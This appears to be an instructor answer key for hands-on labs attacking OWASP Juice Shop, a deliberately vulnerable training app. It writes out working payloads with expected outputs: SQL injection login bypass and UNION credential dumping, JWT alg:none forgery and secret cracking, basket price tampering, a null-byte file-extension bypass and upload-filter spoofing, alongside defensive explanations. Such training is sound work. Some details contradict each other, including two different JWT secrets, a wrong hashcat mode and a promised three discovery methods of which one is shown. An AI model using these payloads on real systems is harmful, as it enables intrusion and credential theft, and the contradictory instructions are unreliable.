

OFFENSIVE WEB APPLICATION SECURITY WITH KALI & JUICE SHOP

Lab Manual — Instructor Edition (Answer Key)

Labs 1–6 · OWASP Juice Shop · Intermediate Level

INSTRUCTOR COPY — ANSWER KEY: Do not distribute this document to participants.
This copy contains full answers, expected outputs, and instructor guidance for all six labs.

Table of Contents

Table of Contents.....	2
Instructor Guide.....	3
Session Flow.....	3
Common Sticking Points.....	3
Environment Setup Checklist.....	3
Answer Key — Three Discovery Methods.....	4
Steps.....	5
Answers.....	5
Reflection Answers.....	6
Steps.....	7
Answers.....	7
Reflection Answers.....	8
Steps.....	9
Answers.....	10
Reflection Answers.....	10
Steps.....	12
Answers.....	12
Reflection Answers.....	13
Steps.....	14
Answers.....	14
Reflection Answers.....	15
Method A — DevTools Client-Side Bypass.....	17
Method B — Burp MIME Type Spoofing.....	17
Answers.....	18
Reflection Answers.....	18
Appendix A — Quick Reference.....	20
Juice Shop Challenge Completion Map.....	20
Key Payloads Reference.....	20

Instructor Guide

Session Flow

- Distribute the Participant Edition only. Keep this document confidential.
- Allow approximately 20–30 minutes per lab. Labs 3 and 6 may take longer.
- Encourage participants to attempt each step independently before intervening.
- Use the Score Board to verify challenge completion in real time — but do not reveal the URL until after Challenge 0 is completed.

Common Sticking Points

- Lab 1: Participants often forget to install the Burp CA certificate — HTTPS requests will not be visible without it. This can be avoided by utilizing Burps built in browser.
- Lab 2: The double closing parenthesis '))' in the search payload surprises participants — explain it closes the SQL string and subquery.
- Lab 3: jwt_tool may not be installed; have pip install jwt_tool ready. The known Juice Shop secret is 'secret123'.
- Lab 4: Some Juice Shop versions validate quantity on the server. If negative quantity doesn't work, use the PUT endpoint price manipulation instead.
- Lab 5: The null-byte bypass uses %2500 (double URL-encoded). Single %00 may not work depending on the server config.
- Lab 6: In newer Juice Shop versions the server may have been hardened. If MIME spoofing doesn't work, the DevTools method reliably succeeds.

Environment Setup Checklist

- Shell Alias: **juicy**='cd ~/juice-shop ; npm start'
- Burp Suite Community installed on participant machines
- Browser configured to proxy 127.0.0.1:8080; Burp CA cert installed
- jwt_tool installed: pip install jwt_tool
- rockyou.txt wordlist available at /usr/share/wordlists/rockyou.txt (or similar)

INIT

Find the Score Board

A warm-up recon challenge — complete before starting Lab 1

📌 **INSTRUCTOR NOTE:** Give participants 5–10 minutes on this before stepping in. The three discovery methods below cover different skill levels. Most participants find it via the HTML comment (Method 3). Encourage them to try Method 1 or 2 first as they are more realistic recon techniques. Do NOT reveal the URL — the point of the challenge is the discovery, not the destination.

The Juice Shop Score Board tracks every challenge you complete. It is not linked from the navigation menu — participants need to find it themselves. This is a first test of the recon mindset.

Answer Key — Three Discovery Methods

✓ **ANSWER KEY: — Angular route in compiled JS bundle:**

Open DevTools (F12) > Sources > find main.js (the large compiled bundle)

Use Ctrl+F to search for: path:

You will find: { path: 'score-board', component: ScoreBoardComponent }

Construct the URL: `http://localhost:3000/#/score-board`

This is the most realistic recon technique — it mirrors how an attacker enumerates hidden routes.

✓ **ANSWER KEY: Score Board URL:**

`http://localhost:3000/#/score-board`

Completing this challenge unlocks the Score Board in Juice Shop's own challenge tracker.

It counts as a 1-star challenge: "Find the carefully hidden 'Score Board' page."

**LAB
1****Intercepting Traffic with Burp Suite**

Learn to proxy, inspect, and replay HTTP requests against Juice Shop

 **INSTRUCTOR NOTE:** This is a foundational lab. Ensure all participants have Burp running and traffic flowing before proceeding. The key learning outcome is understanding that HTTP is readable and modifiable — the browser UI hides a lot.

Steps

#	Action	Expected Outcome
1	Open Burp Suite. Confirm proxy listener is active on 127.0.0.1:8080 under Proxy > Options.	<i>Listener shows 'Running'</i>
2	Configure your browser proxy to 127.0.0.1:8080. Browse to <code>http://localhost:3000</code> .	<i>Juice Shop loads; traffic appears in HTTP History</i>
3	In Burp: Proxy > Intercept — turn Intercept OFF. Browse through Juice Shop normally.	<i>All requests logged without pausing</i>
4	In Juice Shop, register a new account and log in.	<i>POST /rest/user/login appears in HTTP History</i>
5	In HTTP History, find the login POST. Right-click > Send to Repeater.	<i>Request appears in Repeater tab</i>
6	In Repeater, modify the email field value and click Send. Observe the response.	<i>Server returns an error or different response</i>
7	In the browser, navigate to <code>http://localhost:3000/rest/products/search?q=apple</code> . Find the request in HTTP History.	<i>GET request with q parameter visible</i>
8	Using only what you can observe in the browser and Burp, find and navigate to the hidden Score Board page. Hint: it is referenced somewhere in the application source.	<i>Score Board page loads and shows completed challenges</i>

Answers

✓ **ANSWER KEY:** What HTTP method does the login endpoint use? What data is sent?

Method: POST

Endpoint: `/rest/user/login`

Request body (JSON): `{ "email": "user@example.com", "password": "yourpassword" }`

Content-Type: `application/json`

✓ **ANSWER KEY: What does a successful login return?**

HTTP 200 OK

Response body contains: `{ "authentication": { "token": "<JWT>", "bid": <basketId>, "umail": "<email>" } }`

The JWT bearer token is the key finding — it will be used in Lab 3.

Reflection Answers

✓ **ANSWER KEY: Why observe raw HTTP traffic?**

The browser UI abstracts and hides the underlying protocol. Key security-relevant details visible only in raw traffic include:

- Authentication tokens and session cookies in headers
- Internal API endpoint paths not shown in the UI
- Request/response parameters that could be manipulated
- Server error messages that reveal technology stack information

Many vulnerabilities only become visible when you can observe and modify raw requests.

✓ **ANSWER KEY: What sensitive info in the login response could be used in further attacks?**

The JWT bearer token — can be captured and replayed, or decoded to inspect claims (Lab 3).

The bid (basket ID) — an integer that can be incremented to access other users' baskets (IDOR).

The umail field — confirms the user's email address, useful for enumeration.

The token itself is not encrypted — only signed. Anyone who captures it can decode the payload at jwt.io.

LAB
2**SQL Injection on Juice Shop**

Bypass login and extract credentials using SQL injection

✦ **INSTRUCTOR NOTE:** The double-closing-parenthesis `'))` syntax on the search endpoint surprises most participants. Explain: the Juice Shop search query wraps the input in extra parentheses for a subquery — closing them is required to make the injection syntactically valid. The login bypass is the classic single-quote approach and is simpler.

Steps

#	Action	Expected Outcome
1	Navigate to <code>http://localhost:3000/#/login</code>	Login page loads
2	In the Email field, enter: <code>' OR 1=1--</code> (with a space after the dashes). Enter anything in the Password field. Click Log In.	You are logged in as the first user in the database (admin)
3	Note the email address shown in the top-right account menu.	<code>admin@juice-sh.op</code> (or similar)
4	Open Burp. In HTTP History, find: <code>GET /rest/products/search?q=apple</code> . Send to Repeater.	Request in Repeater
5	In Repeater, change <code>q=apple</code> to <code>q=apple'))</code> . Send.	Response contains a SQLite syntax error — confirms injection point
6	Change the <code>q</code> parameter to: <code>')) UNION SELECT 1,2,3,4,5,6,7,8,9 FROM sqlite_master--</code>	200 OK — confirms 9 columns
7	Change payload to: <code>')) UNION SELECT id,email,password,4,5,6,7,8,9 FROM users--</code>	Response contains all user email and password hash data

Answers✓ **ANSWER KEY: Expected credential output (structure):**

The JSON response will contain a `products` array. Injected rows will appear with:

```
id: integer user ID
name: user email address (e.g. admin@juice-sh.op, jim@juice-sh.op,
bender@juice-sh.op)
description: MD5 password hash (32-character hex string)
```

Admin hash: 0192023a7bbd73250516f069df18b500 (cracks to: admin123)
Jim's hash cracks to: ncc-1701 (Star Trek reference)

✓ **ANSWER KEY: What database engine is Juice Shop using?**

SQLite — confirmed by the error message 'SQLITE_ERROR: syntax error' returned when the injection breaks the query.

SQLite uses `sqlite_master` (not `information_schema.tables`) for schema enumeration.

This is relevant because SQLite syntax differs from MySQL/MSSQL in some edge cases.

Reflection Answers

✓ **ANSWER KEY: What would a parameterized query look like, and how does it prevent this?**

Example in Node.js with Sequelize (what Juice Shop should use):

```
db.query('SELECT * FROM users WHERE email = ? AND password = ?',  
[email, password])
```

With parameterization, the user input is passed as a data value — never interpreted as SQL code.

Even if the attacker enters ' OR 1=1--, the database treats the entire string as a literal email value,

which simply won't match any row — no bypass occurs.

✓ **ANSWER KEY: UNION-based vs. blind injection — when to use each?**

UNION-based: Use when the application reflects query results back in the response.

- Faster, more direct — you can extract data in a single request.
- Requires matching the number and data types of columns in the original query.

Blind injection: Use when the application returns no data but changes behaviour (true/false or timing).

- Boolean-based: inject a condition and observe if the page changes (e.g., returns 0 vs N results).
- Time-based: inject `SLEEP(5)` or `WAITFOR DELAY '0:0:5'` — if the response is delayed, injection succeeded.
- Much slower but works when output is not reflected.

LAB
3**JWT Manipulation**

Decode, tamper, and forge a JWT to escalate to admin

✦ **INSTRUCTOR NOTE:** The alg:none attack may be patched in newer Juice Shop versions (v14+). If so, direct participants straight to the jwt_tool crack method. The signing secret 'secret123' is hardcoded in older versions. In newer versions it may be a longer string — the crack will still work with rockyou.txt. Have hashcat as a fallback: hashcat -a 0 -m 16500 <token> rockyou.txt

Steps

#	Action	Expected Outcome
1	Log in to Juice Shop with a regular user account.	<i>Authenticated session established</i>
2	In Burp HTTP History, find /user/whoami request and locate the Authorization: Bearer <token> header.	<i>JWT token visible in the header</i>
3	Copy the token. Open https://jwt.io in your browser and paste it into the Encoded field.	<i>Payload section shows uid, email, and role claims</i>
4	In the Payload at jwt.io, note the current value of the "email" field.	<i>email: "test@test.com"</i>
5	In Burp Repeater, send a request to GET /rest/user/whoami with your current token.	<i>HTTP/1.1 200 OK. email: "test@test.com"</i>
6	Attempt alg:none: In jwt.io, change "alg" to "none" in the header. Change "email" to "jwtn3d@juice-sh.op" in payload. Paste the modified token into Repeater and resend.	<i>HTTP/1.1 200 OK. email: "jwtn3d@juice-sh.op"</i>
7	BONUS - Run: hashcat -m 0 <JWT_PWD_HASH> /usr/share/wordlists/rockyou.txt	<i>Tool cracks the secret: 'Test123'</i>

Answers

✓ **ANSWER KEY:** JWT payload claims in a typical Juice Shop token:

```
{
  "status": "success",
  "data": {
    "id": 1,
```

```
"username": "",
"email": "test@test.com",
"password": "<md5hash>",
"role": "customer",
"deluxeToken": "",
"lastLoginIp": "0.0.0.0",
"profileImage": "/assets/public/images/uploads/default.svg",
"isActive": true
}
}
```

Note: The password hash is also present in the token payload — this is a significant additional vulnerability.

✓ ANSWER KEY: JWT signing secret:

Secret: secret123

This is intentionally weak and appears in the rockyou.txt wordlist.

Crack time is typically under 20 seconds with hashcat

Crack with `hashcat -m 0 <token> /user/share/wordlists/rockyou.txt`

Reflection Answers

✓ ANSWER KEY: The alg:none vulnerability and prevention:

The JWT spec allows an 'alg: none' header to indicate the token is unsigned.

Vulnerable servers accept this and skip signature verification entirely.

An attacker can set any claims they want (e.g., role: admin) with no valid signature.

Prevention: The server must whitelist accepted algorithms explicitly.

- Reject any token where alg is 'none' or missing.
- Use a library that does not support alg:none.
- Never trust the 'alg' value in the token header — use the server's configured algorithm.

✓ ANSWER KEY: Why is HS256 weaker than RS256 for production?

HS256 (HMAC-SHA256): Uses a single shared secret for both signing and verification.

- Any service that needs to verify tokens must also know the secret.
- If any verifying service is compromised, the secret leaks and tokens can be forged.
- Brute-forceable if the secret is weak (as in this lab).

RS256 (RSA-SHA256): Uses a private key to sign and a public key to verify.

- The private key is held only by the auth server — verifying services only need the public key.
- Compromise of a verifying service does not expose the signing key.
- Not brute-forceable (RSA key is typically 2048-bit+).

LAB
4**Business Logic Exploitation**

Manipulate the basket to complete a purchase for \$0.00

📌 **INSTRUCTOR NOTE:** Some Juice Shop versions do server-side quantity validation. If negative quantity returns a 400 error, direct participants to the PUT `/api/BasketItems/{id}` approach. To find the basket item ID: after adding an item, the id is in the POST response body. Use that ID in the PUT request. The bonus step (zero price) is worth attempting as it demonstrates a different attack vector on the same endpoint.

Steps

#	Action	Expected Outcome
1	Log in to Juice Shop. Add any product to your basket.	<i>Item appears in basket</i>
2	In Burp HTTP History, find the POST <code>/api/BasketItems</code> request that was sent when you added the item.	<i>Request body contains ProductId, BasketId, and quantity</i>
3	Send the POST <code>/api/BasketItems</code> request to Repeater.	<i>Request available in Repeater</i>
4	In Repeater, change the "quantity" value to -100. Click Send.	<i>200 OK — server accepts the negative quantity</i>
5	Navigate to your basket in the browser.	<i>Total is now a large negative number or \$0.00</i>
6	Proceed through checkout and place the order.	<i>Order confirmed with \$0.00 or negative total</i>
7	BONUS: Find the PUT <code>/api/BasketItems/{id}</code> request. In Repeater, add "unitPrice": 0 to the JSON body. Send.	<i>Price set to zero on the basket line item</i>

Answers

✓ **ANSWER KEY: Successful exploit payload (POST `/api/BasketItems`):**

POST `/api/BasketItems` HTTP/1.1

Content-Type: application/json

Authorization: Bearer <token>

```
{  
  "ProductId": 1,
```

```
"BasketId": "1",  
"quantity": -100  
}
```

Response: 200 OK

```
{ "status": "success", "data": { "id": 1, "quantity": -100, "ProductId": 1, "BasketId": 1 } }
```

✓ ANSWER KEY: Did the server return any validation error?

In most Juice Shop versions: No — the server accepts -100 without any validation error. This demonstrates that the application performs NO server-side range validation on quantity. The only validation that exists is client-side (the browser UI prevents typing negative numbers). If a 400 is returned: use the PUT approach or reduce to -1 instead of -100.

Reflection Answers

✓ ANSWER KEY: Where should validation be enforced, and why is client-side alone insufficient?

ALL validation must be enforced server-side. Client-side validation is a UX convenience only.

Reasons client-side validation is bypassed trivially:

- Any HTTP proxy (Burp) can intercept and modify requests after client validation runs.
- Browser developer tools can disable or modify JavaScript validation.
- Direct API calls (curl, Postman) bypass the browser entirely.

Server-side fix: Validate that quantity > 0 and <= some maximum. Validate that unitPrice matches the product catalogue. Never accept price overrides from the client.

✓ ANSWER KEY: How to test a multi-step checkout flow for step-skipping:

1. Map every step of the flow (e.g., add to basket → enter address → enter payment → confirm).
2. Complete the flow once normally while capturing all requests in Burp.
3. Start a fresh session and attempt to POST directly to the final confirmation endpoint, skipping the intermediate steps.
4. Observe whether the server validates that prior steps were completed.
5. If not: the workflow can be completed without going through required steps (e.g., bypassing payment, accepting T&Cs, or completing age verification).

LAB
5**Sensitive Data Hunting**

Find exposed files, API leaks, and hidden routes

✦ **INSTRUCTOR NOTE:** The null-byte trick (%2500) is often the most surprising step. Explain: the server URL-decodes %25 to %, producing %00, which is then interpreted as a null byte that terminates the string at the filesystem level — the .md suffix is ignored. This bypass works because the extension check happens on the URL string, while the file open happens on the decoded path. The Angular source code route hunting exercise is particularly valuable — it teaches participants to look at the application itself as a source of information, not just the running app.

Steps

#	Action	Expected Outcome
1	Navigate to <code>http://localhost:3000/ftp</code> in your browser.	Directory listing of files is shown
2	Click to download <code>acquisitions.md</code> .	File downloads — contains confidential M&A notes
3	Attempt to download <code>package.json.bak</code> directly. Observe the error.	403 Forbidden — .bak extension is blocked
4	Navigate to: <code>http://localhost:3000/ftp/package.json.bak%2500.md</code>	File downloads — null-byte bypasses the extension check
5	In Burp Repeater, send: <code>GET /rest/products/search?q='') UNION SELECT id,email,password,4,5,6,7,8,9 FROM users--</code>	JSON response contains all user records with hashed passwords
6	In your browser, open DevTools (F12). Go to Sources. Find and open the <code>main.js</code> bundle.	Large minified JavaScript file
7	Use Ctrl+F to search for <code>path:</code> inside <code>main.js</code> .	List of Angular route definitions including hidden paths
8	Navigate to <code>http://localhost:3000/#/administration</code> without admin login.	Admin panel loads (client-side only guard — no server enforcement)

Answers✓ **ANSWER KEY:** Files found in /ftp directory:`acquisitions.md` — Confidential acquisition plans and financials (plaintext, no authentication)

required)

package.json.bak — Full application dependency list with versions (useful for finding known CVEs)

coupons_2013.md.bak — Historical coupon codes encoded with ROT13

eastere.gg — An Easter egg file (a red herring)

incident-support.kdbx — A KeePass database file (password-protected, but its presence is a finding)

legal.md — Terms of service (low value)

suspicious_errors.yml — Internal error configuration (reveals internal paths and error handling)

✓ ANSWER KEY: Hidden routes found in main.js:

path: administration -> /#/administration

path: score-board -> /#/score-board (the Score Board — participants should find this in Challenge 0)

path: track-result -> /#/track-result (order tracking with XSS vector)

path: accounting -> /#/accounting (requires accountant role)

path: privacy-security -> /#/privacy-security

Tip: search for component: in main.js to find all Angular component routes at once.

Reflection Answers

✓ ANSWER KEY: Server-side controls to prevent /ftp access:

Remove the /ftp directory from the web root entirely — there is no reason for static files to be served from it.

If files must be downloadable, implement an authenticated download endpoint that:

1. Validates the requesting user's session
2. Checks authorisation (does this user have permission for this file?)
3. Serves the file from outside the web root using a `readFile` + `response.send` pattern

Disable directory listing in the web server configuration (DirectoryIndex off in Apache, autoindex off in Nginx).

Apply a whitelist of allowed downloadable extensions at the server level.

✓ ANSWER KEY: Why is a client-side-only admin route guard a critical flaw?

Angular route guards (`canActivate`) run in the browser — they only prevent navigation in the UI. They do not prevent direct HTTP calls to the admin API endpoints.

If the server does not independently validate the user's role on every admin API request, an attacker can:

1. Navigate directly to `/#/administration` to access the UI
2. Call admin API endpoints directly with a regular-user JWT

Fix: Every server-side API endpoint must validate the caller's role independently.

The client-side guard is purely cosmetic — it must never be relied upon for security.

**LAB
6****File Upload Restriction Bypass**

Circumvent file type controls on the Juice Shop complaint form

📌 **INSTRUCTOR NOTE:** Newer versions of Juice Shop may have hardened the server-side MIME check. Method A (DevTools) reliably works in all versions since the client-side accept attribute is always present. Method B success depends on the version. If Method B doesn't work, it is still a valuable teaching exercise — have participants observe the difference in server responses and discuss what proper server-side magic byte validation would look like. Consider showing the correct fix: using the 'file-type' npm package to check magic bytes rather than trusting Content-Type.

Method A — DevTools Client-Side Bypass

#	Action	Expected Outcome
1	Navigate to <code>http://localhost:3000/#/complaint</code>	<i>Complaint form with file upload field loads</i>
2	Open DevTools (F12) and switch to the Inspector / Elements tab.	<i>HTML of the page is visible</i>
3	Find the file <code><input></code> element. Look for the accept attribute (<code>accept=".pdf,.zip"</code>).	<i>Attribute restricting file types is visible</i>
4	Double-click the accept attribute value and delete the entire attribute.	<i>accept attribute is removed from the HTML</i>
5	Click Choose File in the form. The file picker now shows all file types.	<i>Any file type can be selected</i>
6	Select a non-PDF/ZIP file (e.g., a .txt or .xml file) and submit the form.	<i>Form submits successfully — server accepted the file</i>

Method B — Burp MIME Type Spoofing

#	Action	Expected Outcome
1	Upload a legitimate PDF file through the complaint form normally.	<i>Upload succeeds</i>
2	In Burp HTTP History, find the multipart POST request for the file upload.	<i>Request shows Content-Type and file body</i>
3	Send the request to Repeater.	<i>Request available in Repeater</i>
4	In the Content-Disposition header, change the filename to "evil.xml".	<i>Filename updated in request</i>
5	Change the Content-Type header value	<i>MIME type updated in request</i>

#	Action	Expected Outcome
	from "application/pdf" to "text/xml".	
6	Replace the file content in the body with: <code><?xml version="1.0"?><test>exploit</test></code>	<i>Body now contains XML content</i>
7	Click Send.	<i>200 OK — server accepted an XML file despite the upload restriction</i>

Answers

✓ ANSWER KEY: Server response after successful bypass:

Method A (DevTools): HTTP 200 OK

```
{ "status": "success", "data": { "message": "Your complaint has been submitted..." } }
```

The server does not re-validate the file type after the client-side restriction is removed.

Method B (MIME Spoofing): HTTP 200 OK (in vulnerable versions)

The server validates Content-Type: application/pdf but does NOT inspect the actual file bytes.

Spoofing the Content-Type header is sufficient to bypass the check.

✓ ANSWER KEY: Differences between the two methods:

Method A exploits the trust the server places in the CLIENT — it simply never sends a file restriction.

Method B exploits the trust the server places in the MIME TYPE header — it sends a fake content type.

From a server-log perspective:

Method A: The Content-Type in the request will show 'text/plain' or the true type (no spoofing).

Method B: The Content-Type shows 'application/pdf' — a log review would not flag it as suspicious.

Method B is therefore stealthier in real-world engagements.

Reflection Answers

✓ ANSWER KEY: Extension vs MIME type vs magic bytes — which is most reliable?

Extension check (e.g., `filename.endsWith('.pdf')`):

- Easiest to bypass — rename the file or remove the extension check via DevTools.
- Provides no actual security guarantee.

MIME type / Content-Type check (e.g., `req.files[0].mimetype === 'application/pdf'`):

- The MIME type is set by the client – it is completely attacker-controlled.
- Bypassed trivially by spoofing the Content-Type header in Burp (Method B).

Magic byte check (reading the first N bytes of the file and matching known signatures):

- Most reliable – the attacker cannot trivially fake the actual binary content.
- PDF magic bytes: `%PDF-` (hex: 25 50 44 46 2D)
- ZIP magic bytes: `PK..` (hex: 50 4B 03 04)
- Use a library like 'file-type' (npm) or 'python-magic' for reliable detection.
- Note: magic bytes can still be prepended to malicious content – combine with AV scanning.

✓ ANSWER KEY: Where should uploaded files be stored, and why not inside the web root?

Files should be stored OUTSIDE the web root in a directory that is not directly accessible via HTTP.

Why not in the web root:

- If a file is accessible via a URL, an attacker can upload a web shell (malicious.php) and execute it by browsing to `http://target.com/uploads/malicious.php`.
- Even if the server is not a PHP server, a .html file could be used for phishing or stored XSS.

Secure upload pattern:

1. Save file to `/var/app/private-uploads/<uuid>-<sanitised-filename>`
2. Store the mapping (uuid -> original filename, uploader, timestamp) in the database
3. Serve files only through an authenticated endpoint: `GET /api/files/<uuid>`
which validates access rights before streaming the file
4. Set Content-Disposition: attachment to force download rather than rendering
5. Run uploaded content through antivirus/malware scanning before making it accessible

Appendix A — Quick Reference

Juice Shop Challenge Completion Map

Lab	Challenge Name	Category	Stars
0	Score Board (find it)	Recon	1 ★
2	Login Admin (SQLi)	Injection	3 ★★★
2	User Credentials (UNION)	Injection	4 ★★★★★
3	Admin via JWT forgery	Auth Failures	4 ★★★★★
4	Basket manipulation	Broken Access Control	3 ★★★
5	Confidential Document	Sensitive Data	2 ★★
5	Forgotten Developer Backup	Sensitive Data	3 ★★★
6	Upload file bypass	Broken Access Control	3 ★★★

Key Payloads Reference

```
# Lab 2 — Login bypass
' OR 1=1--

# Lab 2 — Dump users via UNION SELECT (search endpoint)
')) UNION SELECT id,email,password,4,5,6,7,8,9 FROM users--

# Lab 3 — Crack JWT secret
jwt_tool <token> -C -d /usr/share/wordlists/rockyou.txt
# Known Juice Shop secret: secret123

# Lab 4 — Negative basket quantity (POST body)
{ "ProductId": 1, "BasketId": "1", "quantity": -100 }

# Lab 5 — Null-byte file bypass
http://localhost:3000/ftp/package.json.bak%2500.md

# Lab 6 — MIME spoofing (change Content-Type in Burp)
Content-Type: application/pdf -> Content-Type: text/xml
```